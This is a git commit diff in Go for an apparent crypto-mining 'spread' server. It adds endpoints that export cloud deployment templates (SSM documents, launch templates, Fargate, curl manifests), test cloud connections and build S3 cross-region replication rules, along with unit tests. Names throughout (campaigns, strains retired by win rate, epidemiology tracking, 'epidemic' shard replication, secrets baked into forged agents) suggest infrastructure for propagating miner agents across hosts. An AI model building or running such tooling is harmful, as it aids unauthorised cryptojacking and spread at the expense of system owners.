Add Emberwake Cloud Ecosystem deploy hub with AWS and generic spread templates.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Unified expandable panels with mermaid flows, ZIP export, connection tests, and Playwright smoke coverage.
This commit is contained in:
AetherForge
2026-06-07 10:03:22 -07:00
parent 20f083b111
commit 5b5fc7c01c
36 changed files with 1305 additions and 83 deletions

View File

@@ -0,0 +1,198 @@
package api
import (
"encoding/json"
"fmt"
"net/http"
"os"
"path/filepath"
"strings"
"time"
)
type cloudTemplateExportRequest struct {
Template string `json:"template"`
ServerURL string `json:"server_url"`
BuildID string `json:"build_id"`
Campaign string `json:"campaign"`
Bucket string `json:"bucket"`
CloudfrontDomain string `json:"cloudfront_domain"`
MinioEndpoint string `json:"minio_endpoint"`
Region string `json:"region"`
Cluster string `json:"cluster"`
NamespaceName string `json:"namespace_name"`
}
type cloudConnectionTestRequest struct {
Kind string `json:"kind"`
Endpoint string `json:"endpoint"`
Bucket string `json:"bucket"`
}
type cloudConnectionTestResponse struct {
OK bool `json:"ok"`
Reachable bool `json:"reachable"`
URL string `json:"url,omitempty"`
Status int `json:"status,omitempty"`
Error string `json:"error,omitempty"`
}
// POST /api/v1/builder/cloud-template-export
func (h *SpreadHandler) ExportCloudTemplate(w http.ResponseWriter, r *http.Request) {
var req cloudTemplateExportRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.Template = strings.TrimSpace(strings.ToLower(req.Template))
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
req.BuildID = strings.TrimSpace(req.BuildID)
req.Campaign = strings.TrimSpace(req.Campaign)
if req.ServerURL == "" {
http.Error(w, "server_url required", http.StatusBadRequest)
return
}
if req.Template == "" {
http.Error(w, "template required", http.StatusBadRequest)
return
}
subdir, filename, err := cloudTemplatePaths(req.Template)
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
templateDir := filepath.Join(h.projectRoot, "templates", "cloud", subdir)
if _, err := os.Stat(templateDir); err != nil {
http.Error(w, "cloud template not found: "+subdir, http.StatusNotFound)
return
}
querySuffix, getQuerySuffix := buildQuerySuffix(req.BuildID, req.Campaign)
bucket := strings.TrimSpace(req.Bucket)
if bucket == "" {
bucket = "aetherforge-shards"
}
region := strings.TrimSpace(req.Region)
if region == "" {
region = "us-east-1"
}
cluster := strings.TrimSpace(req.Cluster)
if cluster == "" {
cluster = "aetherforge-cluster"
}
namespace := strings.TrimSpace(req.NamespaceName)
if namespace == "" {
namespace = "prod.local"
}
repl := map[string]string{
"{{SERVER_URL}}": req.ServerURL,
"{{BUILD_ID}}": req.BuildID,
"{{CAMPAIGN}}": req.Campaign,
"{{QUERY_SUFFIX}}": querySuffix,
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
"{{BUCKET}}": bucket,
"{{REGION}}": region,
"{{CLOUDFRONT_DOMAIN}}": strings.TrimSpace(req.CloudfrontDomain),
"{{MINIO_ENDPOINT}}": strings.TrimRight(strings.TrimSpace(req.MinioEndpoint), "/"),
"{{CLUSTER}}": cluster,
"{{NAMESPACE_NAME}}": namespace,
"{{POLICY_TOKEN}}": "operator-token",
"{{GENESIS_HASH}}": "sha256:pending",
"{{STRAIN_CARD_ID}}": "",
"{{SEEDER_IMAGE}}": "public.ecr.aws/docker/library/alpine:3.20",
}
data, err := zipTemplateReplacements(templateDir, repl, nil)
if err != nil {
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
return
}
writeZipAttachment(w, filename, data)
}
// POST /api/v1/builder/cloud-connection-test
func (h *SpreadHandler) TestCloudConnection(w http.ResponseWriter, r *http.Request) {
var req cloudConnectionTestRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
kind := strings.TrimSpace(strings.ToLower(req.Kind))
endpoint := strings.TrimRight(strings.TrimSpace(req.Endpoint), "/")
if endpoint == "" {
http.Error(w, "endpoint required", http.StatusBadRequest)
return
}
testURL, err := cloudTestURL(kind, endpoint, strings.TrimSpace(req.Bucket))
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
client := &http.Client{Timeout: 8 * time.Second}
httpReq, err := http.NewRequestWithContext(r.Context(), http.MethodHead, testURL, nil)
if err != nil {
writeJSON(w, cloudConnectionTestResponse{OK: false, Reachable: false, URL: testURL, Error: err.Error()})
return
}
resp, err := client.Do(httpReq)
if err != nil {
writeJSON(w, cloudConnectionTestResponse{OK: true, Reachable: false, URL: testURL, Error: err.Error()})
return
}
defer resp.Body.Close()
reachable := resp.StatusCode > 0 && resp.StatusCode < 500
writeJSON(w, cloudConnectionTestResponse{OK: true, Reachable: reachable, URL: testURL, Status: resp.StatusCode})
}
func cloudTemplatePaths(template string) (subdir, zipName string, err error) {
switch template {
case "s3-cloudfront", "s3_cloudfront":
return "s3-cloudfront", "aetherforge-s3-cloudfront.zip", nil
case "ssm-document", "ssm_document":
return "ssm-document", "aetherforge-ssm-document.zip", nil
case "launch-template", "launch_template":
return "launch-template", "aetherforge-launch-template.zip", nil
case "fargate", "fargate-burst", "fargate_burst":
return "fargate", "aetherforge-fargate.zip", nil
case "eventbridge", "event-bridge":
return "eventbridge", "aetherforge-eventbridge.zip", nil
case "cloud-map", "cloud_map":
return "cloud-map", "aetherforge-cloud-map.zip", nil
case "minio":
return "minio", "aetherforge-minio.zip", nil
case "curl-manifest", "curl_manifest":
return "curl-manifest", "aetherforge-curl-manifest.zip", nil
default:
return "", "", fmt.Errorf("unknown cloud template %q", template)
}
}
func cloudTestURL(kind, endpoint, bucket string) (string, error) {
switch kind {
case "http", "https", "curl", "cloudfront":
if !strings.HasPrefix(endpoint, "http://") && !strings.HasPrefix(endpoint, "https://") {
endpoint = "https://" + endpoint
}
return endpoint, nil
case "s3", "aws-s3":
if bucket == "" {
return "", fmt.Errorf("bucket required for s3 test")
}
base := endpoint
if base == "" {
base = "https://s3.amazonaws.com"
}
if !strings.HasPrefix(base, "http://") && !strings.HasPrefix(base, "https://") {
base = "https://" + base
}
return strings.TrimRight(base, "/") + "/" + bucket, nil
case "minio", "s3-compatible":
if bucket == "" {
return "", fmt.Errorf("bucket required for minio test")
}
if !strings.HasPrefix(endpoint, "http://") && !strings.HasPrefix(endpoint, "https://") {
endpoint = "https://" + endpoint
}
return strings.TrimRight(endpoint, "/") + "/" + bucket, nil
default:
return "", fmt.Errorf("unknown connection kind %q", kind)
}
}

View File

@@ -0,0 +1,72 @@
package api
import (
"bytes"
"encoding/json"
"net/http"
"net/http/httptest"
"strings"
"testing"
)
func TestExportCloudTemplateZIP(t *testing.T) {
root := integrationWorkspaceRoot(t)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]interface{}{
"template": "curl-manifest",
"server_url": "https://deck.example",
"build_id": "pin-cloud",
"campaign": "aws-wave",
"bucket": "lab-shards",
"cloudfront_domain": "d111.cloudfront.net",
"minio_endpoint": "https://minio.lab:9000",
"region": "us-west-2",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/cloud-template-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportCloudTemplate(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
}
entries := readZipEntries(t, rec.Body.Bytes())
if !strings.Contains(entries["manifest.json"], "https://deck.example") {
t.Fatalf("manifest.json: %s", entries["manifest.json"])
}
if !strings.Contains(entries["manifest.json"], "pin-cloud") {
t.Fatalf("expected build pin in manifest: %s", entries["manifest.json"])
}
}
func TestExportCloudTemplateRequiresServerURL(t *testing.T) {
root := integrationWorkspaceRoot(t)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]string{"template": "minio"})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/cloud-template-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportCloudTemplate(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("status %d", rec.Code)
}
}
func TestCloudConnectionTestHTTP(t *testing.T) {
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
}))
defer srv.Close()
h := NewSpreadHandler(nil, t.TempDir(), ".", nil)
body, _ := json.Marshal(map[string]string{"kind": "http", "endpoint": srv.URL})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/cloud-connection-test", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.TestCloudConnection(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
}
var resp cloudConnectionTestResponse
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
t.Fatal(err)
}
if !resp.OK || !resp.Reachable {
t.Fatalf("resp=%+v", resp)
}
}

View File

@@ -28,6 +28,10 @@ type ServerPolicy struct {
ErasureLanesEnabled bool
// FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests.
FleetTorrentEnabled bool
AwsS3ShardRegion string
AwsCloudFrontDomain string
FargateBurstCampaign bool
FargateBurstTTLHours int
// StrainHospiceWinRateThreshold auto-retires strains below this win rate when AI control is on.
StrainHospiceWinRateThreshold float64
// StrainHospiceMinAttempts is minimum spread outcomes before AI auto-hospice applies.

View File

@@ -23,7 +23,10 @@ type SpreadHandler struct {
dataDir string
projectRoot string
wsHub *WSHub
publicURL func() string
erasureShards *erasure.ShardStore
deployPlan *DeployPlanHandler
s3CRRConfigFn func() erasure.S3ShardConfig
notesMu sync.RWMutex
}
@@ -33,6 +36,36 @@ func (h *SpreadHandler) BindErasureShards(store *erasure.ShardStore) {
}
}
func (h *SpreadHandler) BindDeployPlan(handler *DeployPlanHandler) {
if h != nil {
h.deployPlan = handler
}
}
func (h *SpreadHandler) BindS3CRRConfig(fn func() erasure.S3ShardConfig) {
if h != nil {
h.s3CRRConfigFn = fn
}
}
// GET /api/v1/spread/aws-s3-crr-template — operator-applied CRR JSON (no AWS API calls).
func (h *SpreadHandler) GetS3CRRTemplate(w http.ResponseWriter, r *http.Request) {
if h == nil || h.s3CRRConfigFn == nil {
http.Error(w, "s3 crr not configured", http.StatusServiceUnavailable)
return
}
doc, err := erasure.BuildS3CRRRule(h.s3CRRConfigFn())
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
writeJSON(w, map[string]interface{}{
"template": "templates/spread/aws/s3-crr-rule.json",
"rule": doc,
"notes": "Apply via S3 console or CLI; enables cross-region shard epidemic replication under shards/",
})
}
func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {
return &SpreadHandler{db: database, dataDir: dataDir, projectRoot: projectRoot, wsHub: wsHub}
}

View File

@@ -0,0 +1,33 @@
package api
import (
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"crypto-miner-server/internal/erasure"
)
func TestGetS3CRRTemplate(t *testing.T) {
h := NewSpreadHandler(nil, t.TempDir(), t.TempDir(), nil)
h.BindS3CRRConfig(func() erasure.S3ShardConfig {
return erasure.S3ShardConfig{
ShardBucket: "primary", ShardRegion: "us-east-1",
CRRDestBucket: "replica", CRRDestRegion: "eu-west-1",
}
})
req := httptest.NewRequest(http.MethodGet, "/api/v1/spread/aws-s3-crr-template", nil)
w := httptest.NewRecorder()
h.GetS3CRRTemplate(w, req)
if w.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", w.Code, w.Body.String())
}
var body map[string]interface{}
if err := json.Unmarshal(w.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body["rule"] == nil {
t.Fatalf("body=%v", body)
}
}

View File

@@ -179,6 +179,9 @@ type WSHub struct {
epidemiology *epidemiology.Tracker
miningSurgery *miningsurgery.Tracker
contingencyOrch *mining.ContingencyOrchestrator
fargateBurstCampaign bool
fargateBurstExpiresAt time.Time
fargateBurstTTLHours int
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier